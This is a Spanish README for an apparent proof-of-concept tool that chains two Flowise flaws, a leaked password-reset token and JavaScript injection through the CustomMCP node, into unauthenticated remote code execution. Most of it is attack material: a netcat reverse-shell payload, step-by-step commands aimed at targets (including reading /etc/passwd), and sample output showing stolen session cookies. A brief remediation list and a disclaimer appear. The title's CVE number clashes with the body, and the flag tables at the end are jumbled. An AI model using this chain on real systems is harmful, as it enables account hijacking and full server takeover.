
PoC combinada para CVE-2025-28434 y CVE-2025-59528
⚠️ Solo para fines educativos e investigación de seguridad autorizada.
Ejecutar esta herramienta contra sistemas que no poseas o sin permiso por escrito para realizar pruebas es ilegal.
Este repositorio combina dos vulnerabilidades críticas en Flowise en una sola herramienta PoC modular.
Las dos vulnerabilidades se encadenan de forma natural: CVE-2025-58434 proporciona una toma de control de cuenta sin autenticar, lo que satisface el requisito de autenticación para CVE-2025-59528 — logrando RCE sin autenticar en una sola ejecución automatizada.
Causa raíz: El endpoint forgot-password devuelve el token de restablecimiento de contraseña (tempToken) directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo solo por correo electrónico.
Pasos del ataque:
POST /api/v1/account/forgot-password con cualquier correo electrónico registradotempToken de la respuesta JSON — sin necesidad de acceso al correoPOST /api/v1/account/reset-password con el token filtrado → establecer una nueva contraseñaRespuesta filtrada (recortada):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Causa raíz: El nodo CustomMCP pasa el mcpServerConfig proporcionado por el usuario directamente al constructor Function() de JavaScript sin sanitización. Dado que Flowise se ejecuta en Node.js, el código inyectado tiene acceso completo a child_process, fs y todos los módulos integrados de Node.js.
Ruta de código vulnerable:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← entrada de usuario sin sanitizar
Encabezados requeridos:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Payload de inyección predeterminado (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Nota: Los payloads de reverse shell usan
cp.exec()(asíncrono / dispara y olvida) para que la solicitud HTTP regrese inmediatamente y la herramienta no agote el tiempo de espera. Los comandos regulares usancp.execSync()y devuelven la salida en línea.
Atacante API de Flowise
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token filtrado en la respuesta
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken borrado) │ ← ATO completado
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extraídas
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() se ejecuta en segundo plano]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Listener nc del atacante ←───────────── El servidor se conecta de vuelta
✓ RCE completo desde cero credenciales
| Componente | Estado |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Afectado por CVE-2025-58434 |
| Flowise autogestionado (todas las versiones anteriores al parche) | Afectado por ambos CVEs |
Consulta los avisos de seguridad oficiales de Flowise para los números de versión con parche.
flowise-dual-cve-poc/
├── flowise_poc.py # PoC principal — todos los módulos + modo cadena
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
└── DISCLAIMER.md # Aviso legal completo
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
No se requiere ninguna flag de modo. Si ejecutas el script sin --chain o --module, se ejecuta automáticamente en modo cadena completo. El payload de RCE predeterminado es un reverse shell — solo proporciona --lhost y --lport.
# Invocación mínima — cadena completa + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Inicia tu listener antes de ejecutar:
nc -lvnp 4444
python3 flowise_poc.py -h
Ejecuta los cuatro pasos de extremo a extremo: filtrar token → restablecer contraseña → iniciar sesión → RCE.
# Reverse shell (payload predeterminado)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Comando personalizado en lugar de reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Contraseña ATO personalizada + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Filtrar el tempToken y restablecer la contraseña de la cuenta. Se detiene antes del inicio de sesión/RCE.
# Nueva contraseña predeterminada
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# Nueva contraseña personalizada
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# Imprimir respuesta JSON sin procesar
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
Autenticar y extraer las tres cookies de sesión para uso manual.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# Salida JSON para scripting
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
Ejecutar en el servidor. Inicia sesión automáticamente si no se proporciona --token.
# Reverse shell — inicio de sesión automático
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# Comando personalizado — inicio de sesión automático
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# Token manual — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# Las tres cookies manualmente
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| Flag | Descripción |
|---|---|
--chain | Cadena completa: ATO → Login → RCE |
--module ato | Solo toma de control de cuenta |
| Flag | Corta | Descripción | Obligatorio |
|---|---|---|---|
--url | -u |
| Flag | Corta | Descripción | Predeterminado |
|---|---|---|---|
--new-password | -p | Contraseña establecida en la cuenta víctima después del ATO | Flowise@Pwn3d2025! |
| Flag | Corta | Descripción | Predeterminado |
|---|
El script elige automáticamente el modo de ejecución correcto:
La ejecución asíncrona significa que la solicitud HTTP se completa al instante — sin errores de tiempo de espera en los payloads de reverse shell.
[Paso 1] [CVE-2025-58434] Solicitando token de forgot-password ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
DATOS DE CUENTA FILTRADOS
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] VULNERABLE — token divulgado sin autenticación!
[Paso 2] [CVE-2025-58434] Restableciendo contraseña → Flowise@Pwn3d2025!
[*] HTTP 201
[+] Restablecimiento de contraseña EXITOSO (tempToken borrado)
[+] Toma de control de cuenta completada → [email protected] / Flowise@Pwn3d2025!
[Paso 3] [Auth] Iniciando sesión para extraer cookies de sesión ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
COOKIES DE SESIÓN EXTRAÍDAS
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[Paso 4] [CVE-2025-59528] Ejecutando RCE a través de CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RESULTADO DE RCE
────────────────────────────────────────────────────────────────────
Modo : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] Payload de reverse shell disparado!
[!] Esperando conexión en 10.10.16.35:4444 ...
[!] Asegúrate de que tu listener esté corriendo: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] CADENA COMPLETADA
tempToken solo por correo electrónico registrado.forgot-password.Function(), eval() o vm.runInThisContext().mcpServerConfig como solo datos (por ejemplo, JSON.parse()) — nunca ejecutarlo.| Fecha | Evento |
|---|---|
| 2025-08-19 | CVE-2025-58434 descubierto y reportado |
| TBD | CVE-2025-59528 descubierto y reportado |
| TBD |
Solo para fines educativos y pruebas de penetración autorizadas.
Consulta DISCLAIMER.md para el aviso legal completo.
| CVE-2025-58434 | CVE-2025-59528 |
|---|
| Tipo | Toma de control de cuenta | Ejecución remota de código |
| Auth requerida | Ninguna | Sí (cualquier cuenta válida) |
| CVSS | 9.8 Crítico | Crítico |
| Afectado | Cloud + Autogestionado | Autogestionado |
--module login | Solo inicio de sesión y extracción de cookies |
--module rce | Solo RCE |
| URL base de la instancia de Flowise |
| Siempre |
--email | -e | Correo electrónico del objetivo / inicio de sesión | Siempre |
| Flag | Corta | Descripción |
|---|
--login-password | -P | Contraseña para el módulo de inicio de sesión / inicio de sesión automático de RCE |
--token | — | Proporcionar manualmente la cookie token (omite inicio de sesión) |
--refresh-token | — | Proporcionar manualmente la cookie refreshToken |
--connect-sid | — | Proporcionar manualmente la cookie connect.sid |
| Flag | Corta | Descripción | Predeterminado |
|---|
--lhost | — | IP del atacante para el reverse shell | — |
--lport | — | Puerto del atacante para el reverse shell | — |
--command | -c | Comando de sistema operativo personalizado (sustituye a revshell) | id si no hay lhost/lport |
--timeout | -t | Tiempo de espera HTTP (segundos) | 15 |
--json-output | -j | Imprimir respuestas JSON sin procesar | false |
| Escenario | Payload utilizado | Comportamiento HTTP |
|---|
--lhost + --lport (sin -c) | one-liner mkfifo netcat | cp.exec() — asíncrono, regresa inmediatamente |
-c "..." que contenga nc/mkfifo/bash -i | detectado como revshell | cp.exec() — asíncrono, regresa inmediatamente |
-c "id" o cualquier otro comando normal | comando de usuario | cp.execSync() — bloquea, devuelve salida |
sin -c, sin --lhost | id | cp.execSync() — bloquea, devuelve salida |
| Reconocimiento del proveedor |
| TBD | Parche publicado |
| TBD | Divulgación pública |